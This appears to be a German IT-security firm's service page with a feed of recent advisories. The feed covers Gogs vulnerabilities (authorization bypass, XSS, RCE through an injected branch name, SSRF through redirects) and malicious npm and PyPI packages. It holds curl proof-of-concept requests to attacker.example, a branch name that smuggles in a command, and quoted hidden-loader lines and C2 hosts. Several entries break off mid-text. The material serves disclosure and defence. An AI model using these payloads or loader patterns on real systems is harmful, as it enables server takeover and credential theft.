IT-Sicherheit - bleiben Sie auf dem Laufenden
Täglich werden neue Schwachstellen, Angriffs-Vektoren, Cyber-Attaken und Fehler in Software, Netzwerken und Infrastrukturen bekannt - teilweise betreffen diese nur bestimmte Softwarelösungen oder spezifische Szenarien, manchmal betreffen Sie jedoch auch ganze Industriezweige, weit verbreitete Arbeitsweisen und grundlegende Technologien wie bei Heartbleed (SSL) oder Log4Shell (Protokollierung). Ergreifen Sie Maßnahmen, um Ihre Infrastruktur und Daten sicher zu halten.
Gemeinsam erfassen wir, welche Komponten und Abhängigkeiten Sie einsetzen und überwachen die CVE und viele weitere Quellen um im Falle von Mängeln oder Angriffspunkten schnell handeln zu können.
Wir simulieren Angriffe und Testen Ihre Anwendungen, Webseiten, die Infrastruktur und Prozesse auf mögliche Sicherheitslücken, Mängel und Angriffsvektoren um Risiken fürhzeitig zu erknennen und Lücken zu schließen.
Wir implementieren aktiv Monitore und überwachen somit Anfragen um frühzeitig Angriffe und verdächtige Aktivitäten zu identifizieren. Verdächte Aktivitäten können zur Alarmierung oder zu automatischen Sperrungen und Ausschlüssen führen, um einen hohen Standard zu gewährleisten.
Den Bedrohungen der IT-Welt sind Sie nicht schutzlos ausgeliefert - es ist jedoch wichtig dem Thema IT-Sicherheit Aufmerksamkeit zu schenken, um einen verantwortungsbewussten und rechtskonformen Umgang mit Unternehmens- und Kundendaten zu gewährleisten.
| Risiko / Label | Veröffentlichung | |
|---|---|---|
| Risiko 7.5 / 10 CVE-2026-52808 | vor 1 Stunde(n) | |
| ## Summary Three API endpoints — `PATCH /api/v1/repos/:owner/:repo/issue-tracker`, `PATCH /api/v1/repos/:owner/:repo/wiki`, and `POST /api/v1/repos/:owner/:repo/mirror-sync` — are gated by `reqRepoWriter()` rather than `reqRepoAdmin()`. The equivalent operations in the web UI sit behind `reqRepoAdmin`, which requires `AccessMode >= AccessModeAdmin`. A write-level collaborator (who has `AccessMode == AccessModeWrite < AccessModeAdmin`) can therefore call these API endpoints directly to disable the native issue tracker or wiki, inject attacker-controlled external tracker/wiki URLs that redirect all repository visitors, or trigger mirror sync — none of which they are authorized to do. ## Severity **High** (CVSS 3.1: 7.1) `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L` - **Attack Vector:** Network — the API endpoints are reachable over HTTP/S. - **Attack Complexity:** Low — a single API call is sufficient; no chaining or race condition required. - **Privileges Required:** Low — only write-level collaborator access to the targeted repository is needed. The attacker does not need repo-admin or site-admin privileges. - **User Interaction:** None — the attacker acts unilaterally. - **Scope:** Unchanged — the impact is contained to the targeted repository's settings and its visitors. - **Confidentiality Impact:** None — the attacker does not read confidential data directly. - **Integrity Impact:** High — the attacker permanently mutates repository configuration, including injecting an external URL that redirects all visitors who click the Issues or Wiki tabs to an attacker-controlled site. - **Availability Impact:** Low — disabling the native issue tracker or wiki reduces the availability of those features for all repository participants. ## Affected component - `internal/route/api/v1/api.go` — route registration (lines 365–367) - `internal/route/api/v1/repo_repo.go` — `issueTracker()` (line 400), `wiki()` (line 437), `mirrorSync()` (line 463) ## CWE - **CWE-863**: Incorrect Authorization - **CWE-269**: Improper Privilege Management ## Description ### Three admin-equivalent API endpoints are protected by write-level middleware `api.go:365-367` registers the three settings endpoints with `reqRepoWriter()`: ```go // internal/route/api/v1/api.go:365-367 m.Patch("/issue-tracker", reqRepoWriter(), bind(editIssueTrackerRequest{}), issueTracker) m.Patch("/wiki", reqRepoWriter(), bind(editWikiRequest{}), wiki) m.Post("/mirror-sync", reqRepoWriter(), mirrorSync) ``` `reqRepoWriter()` (defined at `api.go:131-138`) passes any user whose repository `AccessMode >= AccessModeWrite`: ```go func reqRepoWriter() macaron.Handler { return func(c *context.Context) { if !c.Repo.IsWriter() { c.Status(http.StatusForbidden) return } } } ``` The handlers themselves perform no additional privilege check before mutating state: ```go // internal/route/api/v1/repo_repo.go:400-428 func issueTracker(c *context.APIContext, form editIssueTrackerRequest) { _, repo := parseOwnerAndRepo(c) ... if form.EnableExternalTracker != nil { repo.EnableExternalTracker = *form.EnableExternalTracker } if form.ExternalTrackerURL != nil { repo.ExternalTrackerURL = *form.ExternalTrackerURL // ← attacker-controlled URL written directly } ... database.UpdateRepository(repo, false) // ← no admin check before this call } ``` The `wiki()` handler (lines 437–461) follows the same pattern, writing `repo.ExternalWikiURL` directly and calling `UpdateRepository` with no admin gate. ### The web UI imposes a stricter admin requirement for the same operations `cmd/gogs/web.go:472` wraps the entire `/settings` subtree with `reqRepoAdmin`: ```go // cmd/gogs/web.go:425-472 m.Group("/:username/:reponame", func() { m.Group("/settings", func() { m.Combo("").Get(repo.Settings). Post(bindIgnErr(form.RepoSetting{}), repo.SettingsPost) ... }, ...) }, reqSignIn, context.RepoAssignment(), reqRepoAdmin, context.RepoRef()) ``` `context.RequireRepoAdmin()` (defined at `context/repo.go:434-441`) requires `AccessMode >= AccessModeAdmin`: ```go func RequireRepoAdmin() macaron.Handler { return func(c *Context) { if !c.IsLogged || (!c.Repo.IsAdmin() && !c.User.IsAdmin) { c.NotFound() return } } } ``` In the access mode hierarchy, `AccessModeWrite < AccessModeAdmin`. A write-level collaborator satisfies `reqRepoWriter()` but does not satisfy `RequireRepoAdmin()`. The API path provides the write-level collaborator with capabilities that the UI correctly withholds. ### Full execution chain 1. **Attacker precondition**: Attacker is added as a repository collaborator with write access (`AccessMode == AccessModeWrite`). 2. **API call**: `PATCH /api/v1/repos/OWNER/REPO/issue-tracker` with `Authorization: token WRITER_TOKEN` and body `{"enable_external_tracker":true,"external_tracker_url":"https://attacker.example/phish"}`. 3. **Middleware**: `reqRepoWriter()` checks `c.Repo.IsWriter()` → `AccessMode >= AccessModeWrite` → passes. 4. **Handler**: `issueTracker()` sets `repo.EnableExternalTracker = true` and `repo.ExternalTrackerURL = "https://attacker.example/phish"`, then calls `database.UpdateRepository(repo, false)`. No admin check occurs. 5. **Impact**: All visitors to the repository who click the "Issues" tab are redirected to the attacker's server. The native issue tracker is bypassed permanently until a repo admin reverses the change. ## Proof of Concept ```bash # Precondition: attacker is a collaborator with WRITE access, not repo admin. # 1) Redirect the Issues tab to an attacker-controlled phishing page curl -i -X PATCH "https://TARGET/api/v1/repos/OWNER/REPO/issue-tracker" \ -H "Authorization: token WRITER_TOKEN" \ -H "Content-Type: application/json" \ --data '{"enable_issues":false,"enable_external_tracker":true,"external_tracker_url":"https://attacker.example/phish"}' # Expected: HTTP 204 No Content # 2) Redirect the Wiki tab to an attacker-controlled page curl -i -X PATCH "https://TARGET/api/v1/repos/OWNER/REPO/wiki" \ -H "Authorization: token WRITER_TOKEN" \ -H "Content-Type: application/json" \ --data '{"enable_wiki":false,"enable_external_wiki":true,"external_wiki_url":"https://attacker.example/phish-wiki"}' # Expected: HTTP 204 No Content # 3) Force a mirror sync on a mirrored repository (potential resource abuse) curl -i -X POST "https://TARGET/api/v1/repos/OWNER/REPO/mirror-sync" \ -H "Authorization: token WRITER_TOKEN" # Expected: HTTP 202 Accepted ``` ## Impact - A write-level collaborator can permanently replace the native issue tracker with an external URL under attacker control, redirecting all repository visitors who follow the Issues link to a phishing or malware-serving page. - The same redirect attack applies to the Wiki tab via the external wiki URL setting. - Both redirects remain active until a repo admin or owner manually reverses the setting; the attacker has no way to be removed from having already made the change. - Mirror sync can be triggered repeatedly, potentially causing unnecessary load on the upstream mirror source or consuming network resources. - All three operations are silent — no notification is sent to repo admins when these settings change via the API. ## Recommended remediation ### Option 1: Change middleware to `reqRepoAdmin()` on all three endpoints (preferred) Replace `reqRepoWriter()` with `reqRepoAdmin()` at the route registration level. This is a one-line change per endpoint and aligns the API authorization with the web UI's established policy. ```go // internal/route/api/v1/api.go:365-367 m.Patch("/issue-tracker", reqRepoAdmin(), bind(editIssueTrackerRequest{}), issueTracker) m.Patch("/wiki", reqRepoAdmin(), bind(editWikiRequest{}), wiki) m.Post("/mirror-sync", reqRepoAdmin(), mirrorSync) ``` ### Option 2: Add an explicit admin check inside the handlers Add `c.Repo.IsAdmin()` checks at the top of `issueTracker()`, `wiki()`, and `mirrorSync()`. This is less preferred because it duplicates middleware logic in handler code, but it provides defense-in-depth if the route middleware is ever accidentally changed. ```go func issueTracker(c *context.APIContext, form editIssueTrackerRequest) { if !c.Repo.IsAdmin() { c.Status(http.StatusForbidden) return } ... } ``` ## Credit This vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai). | ||
| Risiko 7.5 / 10 CVE-2026-52807 | vor 1 Stunde(n) | |
| ### Summary
The fix for GHSA-vgjm-2cpf-4g7c (DOM-based XSS via milestone selection) was only applied to `templates/repo/issue/view_content.tmpl` but not to `templates/repo/issue/new_form.tmpl`. An attacker can store an HTML/JavaScript payload in a milestone name, and when any user opens the New Issue page and interacts with the milestone dropdown, the payload executes in their browser via Semantic UI's `preserveHTML` behavior.
### Details
GHSA-vgjm-2cpf-4g7c was patched by adding `| Sanitize` (bluemonday HTML tag stripping) to milestone name rendering in `view_content.tmpl`. However, the same milestone dropdown exists in `new_form.tmpl` and was **not** patched.
In `new_form.tmpl`, milestone names are rendered with Go's default auto-escaping (`{{.Name}}`), which converts `<` to `<` etc. This prevents direct HTML injection. However, when the browser renders the DOM, the text content of the element contains the **decoded** original payload (e.g., ` |
||
| Risiko 9.5 / 10 CVE-2026-52806 | vor 1 Stunde(n) | |
| # Gogs: RCE via `git rebase --exec` Argument Injection in PR Merge
## Summary
Gogs allows authenticated users to achieve Remote Code Execution (RCE) on the server by creating a pull request with a specially crafted branch name that injects the `--exec` flag into the `git rebase` command during the "Rebase before merging" merge operation.
## Severity
**Critical** - CVSS 3.1 Base Score: 9.9 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)
## Affected Versions
- **Gogs 0.14.2** (latest supported release)
- Gogs 0.15.0+dev (commit `b53d3162`, main branch as of 2026-03-16)
- All prior versions that support the "Rebase before merging" merge style
## Impact
This is a **privilege escalation from authenticated user to server-level code execution**. The attacker uses their own repository as the delivery mechanism - the target is not the repository but the Gogs server itself. On any multi-tenant Gogs instance (company, university, open source hosting), this gives one authenticated user full control of the underlying server:
- **Server compromise**: Arbitrary command execution as the Gogs process user
- **Cross-tenant data breach**: Read ALL repositories on the instance, including other users' private repos
- **Credential theft**: Access the database containing password hashes, API tokens, SSH keys, and 2FA secrets for every user
- **Lateral movement**: Pivot to other systems accessible from the server's network
- **Supply chain attacks**: Silently modify any hosted repository's code. The Gogs process user (typically `git`) has direct filesystem-level read/write access to every repository on the instance under a single `REPOSITORY_ROOT` directory (default: `~/gogs-repositories`). There is no OS-level isolation between repositories; all access control is application-layer only.
The vulnerability affects all supported platforms (Linux, macOS, Windows) and installation methods (pre-built binary, Docker, source). On Docker installations, the Gogs process runs as the `git` user (UID 1000 by default).
The severity is heightened because:
- **Open registration by default**: Gogs ships with `DISABLE_REGISTRATION = false`, meaning anyone can create an account on a default-configured instance - effectively making this exploitable by an unauthenticated attacker.
- **No admin required**: Any user who creates a repository is automatically its admin. Enabling rebase is a single toggle in Settings > Advanced - no site-admin intervention, no special permissions, and no interaction with other users required. The attacker creates a repo, enables rebase, and exploits, all within their own account. (Note: `PullsAllowRebase` defaults to `false`, but this is irrelevant since any repo creator can enable it themselves.)
- The attacker operates entirely within their own repo - no interaction with or access to other users' repos is needed to trigger the exploit
- The exploit is fully automatable (see PoC)
- The exploit leaves minimal traces (a 500 error in server logs, easily missed)
## Prerequisites
The attacker needs **one** of the following:
- **Repo admin/owner** on any repository (can enable rebase + create PR + merge) - **any user who creates a repo has this by default**
- **Write access** to a repository where "Rebase before merging" is already enabled by the owner (can create malicious branch + PR + merge)
Note: "Rebase before merging" is NOT enabled by default (`PullsAllowRebase` defaults to `false` in `internal/database/repo.go:215`). However:
- Any user who creates their own repository is admin of that repo and can enable rebase via Settings > Advanced
- The repo settings endpoint (`/settings`, action=`advanced`) requires `reqRepoAdmin` middleware (`internal/cmd/web.go:472`) - collaborators with only write access cannot enable it, but repo owners/admins can
- Many organizations enable rebase merge as a standard practice
## Root Cause Analysis
In `internal/database/pull.go`, the [`Merge()` function](https://github.com/gogs/gogs/blob/v0.14.2/internal/database/pull.go#L282) passes the PR's base branch name to `git rebase` as a positional argument without a `--` separator:
```go
if _, stderr, err = process.ExecDir(-1, tmpBasePath,
fmt.Sprintf("PullRequest.Merge (git rebase): %s", tmpBasePath),
"git", "rebase", "--quiet", pr.BaseBranch, remoteHeadBranch); err != nil {
```
The `pr.BaseBranch` value originates from the [URL parameter](https://github.com/gogs/gogs/blob/v0.14.2/internal/route/repo/pull.go#L447) in `internal/route/repo/pull.go`:
```go
baseRef := infos[0] // from strings.Split(c.Params("*"), "...")
```
Both `baseRef` and `headRef` are validated via [`RevParse`](https://github.com/gogs/gogs/blob/v0.14.2/internal/route/repo/pull.go#L482) (defined in the external [`git-module`](https://github.com/gogs/git-module) library), but this only calls `git rev-parse --verify ` - it checks that the ref resolves to a valid git object, not that it is safe against argument injection. Since the attacker pushes the malicious branch name to the repository, `RevParse` succeeds because the ref genuinely exists. The value is stored in the database and later passed as-is to the `git rebase` command without a `--` separator.
## Exploitation
Git branch names can legally contain characters `$`, `{`, `}`, `=`, `-`. The attacker creates a branch named:
```bash
--exec=touch${IFS}/tmp/rce_proof
```
When used as `pr.BaseBranch` in the rebase command:
```bash
git rebase --quiet '--exec=touch${IFS}/tmp/rce_proof' 'head_repo/feature'
```
1. Git's argument parser treats `--exec=touch${IFS}/tmp/rce_proof` as the `--exec` flag
2. The `--exec` flag specifies a command to run via `sh -c` after each replayed commit
3. `${IFS}` expands to a space in the shell, bypassing git's prohibition on spaces in branch names
4. The command `touch /tmp/rce_proof` executes as the Gogs server process user
For commands containing characters forbidden in git refs (`:`, `~`, `^`, `?`, `*`, `[`, `\`, `//`), such as URLs, the attacker base64-encodes the payload:
```bash
--exec=echo${IFS} |
||
| Risiko 7.5 / 10 CVE-2026-52805 | vor 1 Stunde(n) | |
| # Migration URL validation bypass via HTTP redirect to blocked internal endpoints ## Summary A Server-Side Request Forgery (SSRF) vulnerability exists in the repository migration functionality. The application validates only the initially submitted URL hostname, but `git clone --mirror` follows HTTP redirects. An authenticated user can submit a public URL that redirects to a blocked internal endpoint (e.g., `127.0.0.1`), importing the internal repository's contents into an attacker-controlled repository. ## Vulnerability Details The vulnerability is located in `internal/form/repo.go`. `ParseRemoteAddr()` validates the clone address hostname against a blocklist of local and private-network addresses. However, the actual migration is performed by `git clone --mirror` in `internal/database/repo.go`, which follows HTTP redirects without revalidation: 1. Attacker submits `http://attacker.example/redirect.git` — passes validation (public hostname). 2. Attacker's server responds with `302` redirect to `http://127.0.0.1:18081/victim/private.git`. 3. Git follows the redirect and clones the internal repository. 4. Gogs imports the cloned contents into the attacker's new repository. The root cause is that Gogs validates only the initial URL and does not revalidate the final redirect target. ## Impact This vulnerability bypasses the intended localhost/private-network migration restriction. Any authenticated user who can migrate repositories can import contents from internal Git endpoints reachable from the Gogs server. This allows attackers to: - Steal source code and secrets from internal repositories served over HTTP. - Scan internal network services via the migration endpoint. ## Reproduction Steps Prerequisites: a Gogs instance, an attacker account that can create repositories. 1. Start a local HTTP Git server with a test repository on `127.0.0.1:18081`. 2. Start a redirect server that responds to any request with a `302` redirect to `http://127.0.0.1:18081/victim/private.git`. 3. Verify the direct localhost URL is blocked: ```bash curl -sS -X POST -H "Authorization: token ${TOKEN}" \ -H "Content-Type: application/json" \ --data '{"clone_addr":"http://127.0.0.1:18081/victim/private.git","uid":2,"repo_name":"blocked"}' \ "${GOGS_URL}/api/v1/repos/migrate" ``` Result: rejected as blocked local address. 4. Submit a public-looking URL that redirects to the blocked endpoint: ```bash curl -sS -X POST -H "Authorization: token ${TOKEN}" \ -H "Content-Type: application/json" \ --data '{"clone_addr":"http://attacker.example/redirect.git","uid":2,"repo_name":"stolen","private":true}' \ "${GOGS_URL}/api/v1/repos/migrate" ``` Result: migration succeeds. The new repository contains the internal repository's contents. | ||
| Risiko ? / 10 MAL-2026-6273 | vor 1 Stunde(n) | |
| --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (81e8a23a71a5288646495c50a46c2814ffc0668d9c24ed04e1abd9e8758b5ea2) Package is published under the name 'zod-pino' (suggesting a Zod/Pino logging integration) but the shipped contents are unrelated to that purpose. The tarball contains: (1) scripts/postinstall-agent.mjs — a postinstall lifecycle script that performs network operations (GET requests, ping/host enumeration) and installs an agent, executing automatically on `npm install`; (2) dist/secretScan/contentScanner.js and dist/secretScan/agentStartupAudit.js — modules that scan content for secrets and exfiltrate to https://huggingface.co endpoints via fetch(); (3) dist/hfCredentials.js — base64-decoded HuggingFace credentials handling; (4) dist/discordRelayUpload.js — code that POSTs collected data to remote endpoints with base64-encoded payloads and host enumeration (ping); (5) dist/relayServer.js — a relay server with multiple ping/network primitives; (6) dist/deploymentDefaults.js and scripts/encode-deployment.mjs — base64-encoded deployment configuration. The combination of a postinstall agent installer, a secret-scanning module that ships secrets to a remote endpoint, a Discord relay uploader, and base64-obfuscated configuration in a package whose name advertises an unrelated logging library is the shape of a credential-harvesting supply-chain attack. Installer impact: on `npm install`, the postinstall script auto-executes the agent, which scans the host for secrets and relays them to attacker-controlled endpoints (HuggingFace API used as exfiltration channel, Discord webhook for relay). | ||
| Risiko ? / 10 MAL-2026-6247 | vor 1 Stunde(n) | |
| --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (a0f61f1a905e0ec1bb593f7b20d4f9a8a9e72deeb16440f72acbcaf00aeab1cd) On `import requests_enhancer`, the package's `__init__.py` spawns a daemon thread that runs `pip install https://github.com/Hexa-devy/netflow-utils/archive/refs/heads/master.zip` via `subprocess.run([sys.executable, '-m', 'pip', 'install',...])`. The target is a mutable `master`-branch archive with no commit SHA, version, or hash pin; pip will execute the referenced repo's setup.py / build backend as part of installation, giving whoever controls that branch arbitrary code execution on every installer's machine each time the package is imported. The behavior is undeclared in pyproject.toml and undocumented in the README. The subprocess output is redirected to DEVNULL, exceptions are swallowed by a bare `except Exception: pass`, and the work is done on a daemon thread so the import returns immediately — making the fetch-and-execute invisible to the user and to synchronous import-time auditing. This is a textbook dropper: post-publish attacker-mutable code execution at import time, with deliberate silencing of evidence. ## Source: kam193 (950c9d9155d6ba10a8d63c365fc6c7cc97d8bc6210165f93282d9e198ed3dd62) Malicious package with a chain of multiple manual dependencies to finally download malicious code. During import, it manually downloads a dependency from GitHub repository "Hexa-devy/netflow-utils", which then attempts to download "codexio-boop/platform_syslib". The last one contains obfuscated code that during installation connects with node22.lunes[.]host:3258 and downloads encrypted payload. The payload is executed, and it then starts another loop of connections to node22.lunes[.]host:22240 and awaits next payloads to execute. During analysis, this stage did not deliver any payload. On every stage, short-living generated tokens are used. --- Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign: 2026-06-requests-enhancer Reasons (based on the campaign): - backdoor - The package overrides the install command in setup.py to execute malicious code during installation. - obfuscation - The malicious code is intentionally included in a dependency of the package - The package contains code to execute remote commands (probably limited to a specific set) on the victim's machine. | ||
| Risiko ? / 10 MAL-2026-5713 | vor 1 Stunde(n) | |
| --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (7f7b2710441863a429a2a1833e06f54e9afc23c87d1b40d7ee09e1995c6a65c2) On module load, this Vite plugin performs an HTTP GET to https://www.jsonkeeper.com/b/XVHGD (an anonymous, mutable paste host) and passes the response's `data` field to `new Function.constructor("require",...)`, then invokes the resulting function with `require` — granting the remote payload full Node.js capabilities (fs, child_process, network) inside the consumer's Vite build process. dist/index.mjs (lines ~124-128) calls the fetch+eval directly via initPlugin(); dist/index.cjs (lines ~130-141) wraps the same payload in `if (isMainThread) { new Worker(__filename) } else { initPlugin() }`, spawning a worker that re-loads the module with isMainThread=false and executes the network-fetched code in the worker thread to obscure the behavior from naive inspection. The package name and metadata (author 'Vben', debug name 'vite-plugin-compression', plugin name 'vite:compression') clone the well-known vite-plugin-compress / vite-plugin-compression packages, and an otherwise-unused `request` dependency exists solely to perform the C2 fetch. Any developer or build system that imports this package executes whatever JavaScript the operator currently has hosted at the jsonkeeper paste. | ||
| Risiko ? / 10 MAL-2026-6322 | vor 1 Stunde(n) | |
| --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (7efbafcedfb49da5093c3972473a549694dd9dd748281a299034c31578db1943) Package is published as `ts-predict-helper` but ships a byte-equivalent copy of big.js v7.0.1's source and README (which states 'No dependencies'), along with spoofed `package.json` metadata pointing at MikeMcl/big.js and naming Michael Mclaughlin as author. Inside the otherwise-verbatim big.js source (around line 530) an injected try/catch block runs at module load: `try { const doc = require("parket-flow"); doc.from_str().then(e => { }).catch(e => { }) } catch (error) { }`. The package declares an undisclosed runtime dependency on `parket-flow` ^3.0.1, which is unrelated to arbitrary-precision arithmetic and is the actual payload carrier. Any consumer who installs `ts-predict-helper` (e.g. via a copy-pasted install snippet) and `require()`s it will silently pull `parket-flow` into their dependency tree and invoke its `from_str()` API in-process, with all errors swallowed to hide failure. The combination of identity spoofing (verbatim README/source/author/repo metadata under an unrelated package name) and a hidden side-effect require at load time is a textbook trojan-loader supply-chain pattern; whatever code `parket-flow` ships executes in the installer's Node.js process. | ||
| Risiko ? / 10 MAL-2026-6319 | vor 1 Stunde(n) | |
| --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (26030cb7301c4ff9ea68753581f70290a957e1422b425df7119416fea126c324) The package ships a verbatim copy of MikeMcl/big.js v7.0.1 (same banner, MIT copyright, and API) but is published under a different name (ts-escro). At module load time, big.js line 606 (and big.mjs:606) executes `try { const doc = require('parket-slot'); doc.from_str().then(e => {}).catch(e => {}) } catch (error) {}`, silently attempting to load and invoke an undeclared third-party module 'parket-slot' with all errors swallowed. The package.json declares no dependency on 'parket-slot'; the only declared dependency is a non-resolvable local filesystem path `log-taker: file:../log-taker`, which indicates the artifact was published from a staging directory and could not have been produced through normal release engineering. Any consumer that require()s ts-escro triggers the hidden loader. Whoever controls future publishes of the 'parket-slot' name turns every ts-escro install into remote code execution at require-time. The impersonation-of-big.js cover, undeclared loader, swallowed errors, and broken staging dependency together establish a typosquat-loader / stager pattern with clear malicious intent. | ||
| Risiko ? / 10 MAL-2026-6317 | vor 1 Stunde(n) | |
| --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (e591f0b407bc22e3abe20da9207df2d2922f75d98ab97aaa62557ca88b8fc349) ts-bn-lint@3.1.19 is a credential harvester disguised as a TypeScript/lint utility. index.js defines `decodeStr` which base64-decodes all operationally sensitive strings, including the C2 endpoint `https://data-stream.space/api/v1` (index.js:32) and the target filename patterns `.env`, `config.toml`, `Config.toml`, `config.json`, `id.json`, and `env` (index.js:13-18). The exported `from_str` function recursively walks `process.cwd()` collecting files matching those patterns, then gathers shell histories by invoking `execSync("bash -c history")` and `execSync("zsh -c 'fc -l -1000'")` (index.js:101, 117), tagging each upload with the local username and IP for victim correlation before POSTing to the C2 endpoint. The `id.json` target is the standard Solana CLI keypair file; `.env` and `config.*` typically contain API keys and database credentials. The package's own `test.js` calls `from_str()` unconditionally, so `npm test` triggers exfiltration; any consumer who requires the package and calls the exported function does the same. Package metadata is empty (no author, no description) and the name impersonates the TypeScript/lint tooling namespace. | ||
| Risiko ? / 10 MAL-2026-6278 | vor 1 Stunde(n) | |
| --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (42dae43b7ff77748f10ae5faf6d87b7d63552e5629a37c931ea2c0de3539b469) Package is published under the name `ts-wross` but its package.json claims authorship by Michael Mclaughlin (M8ch88l@gmail.com) and points its repository field at https://github.com/MikeMcl/big.js.git, with description and keywords copied from the legitimate big.js arbitrary-precision arithmetic library. The shipped source is a verbatim copy of big.js v7.0.1 with one modification: a try/catch block injected mid-file in both `big.js` and `big.mjs` that runs `const doc = require("node-slot"); doc.from_str().then(...).catch(...)` at module load. Errors are swallowed by the surrounding try/catch so the call is silent. `node-slot` is declared as a runtime dependency (`"node-slot": "^1.0.8"`) and is therefore pulled in and executed on any `require('ts-wross')` / `import 'ts-wross'`. The legitimate big.js has zero dependencies and no such call — the inserted require is a loader trampoline that hands import-time execution on the installer's machine to whatever code `node-slot` ships. Combined with the impersonated metadata, the package is a lure that drops attacker-controlled code into any consumer that installs it under the assumption it is or relates to big.js. ## Source: ghsa-malware (f2ee248f4b7fad7f6a978fbc5f1accf635566ce61a3ee32f1353eba91bbe42d6) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | ||
| Risiko ? / 10 MAL-2026-6313 | vor 1 Stunde(n) | |
|
---
_-= Per source details. Do not edit below this line.=-_
## Source: amazon-inspector (56c346069fc4ee120281c9431c9f9544452f0d67b783df08750e00faaba5251b)
The package's main entry `dist/mod.cjs` begins with `require('./prelude.cjs').runPrepare();`, so any `require('@zynkit/jwtbytes')` auto-runs a 280 KB obfuscator.io-style IIFE in `dist/prelude.cjs`. The IIFE uses an RC4+base64 string-array decoder, anti-debug traps (RegExp/setInterval, console neutralization, `--inspect`/`--inspect-brk` checks), and AES-256-GCM ciphertexts decrypted with XOR-derived keys to reconstruct an HTTPS URL at runtime. It then re-execs the current Node process with a sentinel environment variable, fetches a payload to `os.tmpdir()`, marks it executable, and spawns it via `process.execPath` or `/bin/sh -c`. The legitimate codec sources from `github.com/dahlia/byte-encodings` are bundled verbatim under an unrelated publisher (`zynkit |
||
| Risiko ? / 10 MAL-2026-6312 | vor 1 Stunde(n) | |
|
---
_-= Per source details. Do not edit below this line.=-_
## Source: amazon-inspector (ccad6ae47c18b5b41d16625a00ce1b493fc44d7e22658d549ff709d6df297b70)
Package `@tinyfox/shapecheck` re-publishes the source of the legitimate `rulr` validation library (repository field still points at `git+https://github.com/ryasmi/rulr.git`) under a different name, and adds an obfuscated `dist/bootstrap.cjs` (~282 KB, obfuscator.io-style string-array + RC4-style decoder) that the library's main entry `dist/rulr.cjs` requires on every load. The exported `object()` API immediately calls `__tb.runPrepare()`, so simply `require('@tinyfox/shapecheck')` and using its documented validation API fires the malicious bootstrap. The bootstrap dynamically imports `https`, `child_process`, `crypto`, `fs`, `os`, `path`, `net`; HTTPS-downloads files together with ` |
||
| Risiko ? / 10 MAL-2026-6311 | vor 1 Stunde(n) | |
| --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (edce595ab99f7bcc5404f8c1222a1d8f5a7cbbb1fc6cd6e02aabddaf19526839) @thymelab/logfx@2.15.5 ships a postinstall hook (`postinstall: node dist/bootstrap.js`) that runs a 282KB obfuscator.io-packed script on every `npm install`. The decoded control flow performs HTTPS GETs to a runtime-decrypted URL, AES-256-GCM-decrypts the response using an embedded key, sha256-verifies, stages files into `os.tmpdir()`, chmod's them, and re-spawns them via `process.execPath` using `child_process.spawn` with detached/unref'd handles. The script disables itself when `--inspect`/`--debug` are present (anti-analysis). The destination URL and decryption key are not pinned plaintext — they are decrypted at runtime, giving the publisher a mutable, attacker-controlled execution channel into every installer. Independently, `dist/logfx.js` is a near-verbatim copy of the `unjs/consola` logger and `package.json.repository`/`bugs.url` falsely point to `github.com/unjs/consola`, impersonating that project; an appended IIFE wraps the exported `withTag` API to call `require('./bootstrap').runPrepare()`, so the dropper also detonates when a consumer simply imports the package and uses its documented API. The combination of opaque obfuscation, runtime-decrypted remote URL, tmpdir staging with execPath respawn, anti-debug guard, and import-time trigger is a hostile install-time dropper, not a logging utility. | ||
| Risiko ? / 10 MAL-2026-6310 | vor 1 Stunde(n) | |
|
---
_-= Per source details. Do not edit below this line.=-_
## Source: amazon-inspector (4386267addad1d2b89d4d471966e028ea201469edd6ece252f9710cd679c20aa)
Package advertises itself as a small retry/exponential-backoff helper (lib/index.js is ~50 lines) but ships a 282KB obfuscator.io-packed lib/warmup.js (and matching lib/warmup.mjs at 250KB) whose runPrepare() is invoked unconditionally on every require('@petitcode/eb-retry'). The same file is self-executing as a standalone script via `if (require.main === module) onInstall();` so it also runs during postinstall flows. The packed code contains AES-256-GCM decryption of an embedded encrypted blob (which carries a remote URL), an HTTPS fetch of additional payload bytes, and a child_process.spawn of process.execPath with the original argv — i.e. it re-runs Node against attacker-supplied code. Obfuscator.io packing (1267-element rotated string array, RC4-style decoder, control-flow flattening, self-defending console overrides, debug-protection timer that crashes under devtools/inspector) is used to hide the URL, key derivation, and exec invocation. The package.json points repository, bugs, and homepage URLs at github.com/tim-kos/node-retry — an unrelated legitimate project by Tim Koschützki — while the actual publisher is `petitcode |
||
| Risiko ? / 10 MAL-2026-6309 | vor 1 Stunde(n) | |
| --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (2c007ea1ba0e4bcd680cc3770361eefead0673eca418787720fa65c8c71a2e57) Package `@nullzero/urlcat` impersonates the legitimate `urlcat` URL-builder library — same advertised `cat(base, path, params)` API, README copied from upstream, and `package.json.repository.url` points to `git+https://github.com/balazsbotond/urlcat.git` (the real upstream maintainer's repo, not the `nullzero` publisher's). The package main `lib/index.js` line 64 calls `encoder.runPrepare()` at the top of every invocation of the exported `cat()` function. `lib/encoder.js` is a 263 KB obfuscator.io-packed file (rotated 1176-entry string array, RC4 decoder `_0x2f0d`, control-flow flattening) — far beyond anything a tiny URL composer requires. Decoded control flow in `lib/encoder.js` selects a platform-specific binary candidate (branches on `process.platform === 'win32'` to `'win.js'` / a bun-style executable, otherwise a node-typed binary), constructs a destination under `os.tmpdir()`, downloads it over `https.request` following up to 5 redirects with `User-Agent: node-installer`, sha256-checks against a `.meta` JSON sidecar, and then `spawn`s the dropped binary (or re-execs `process.execPath` against it) detached + unref'd, with a private env-var marker (`__7D0A53...`). The 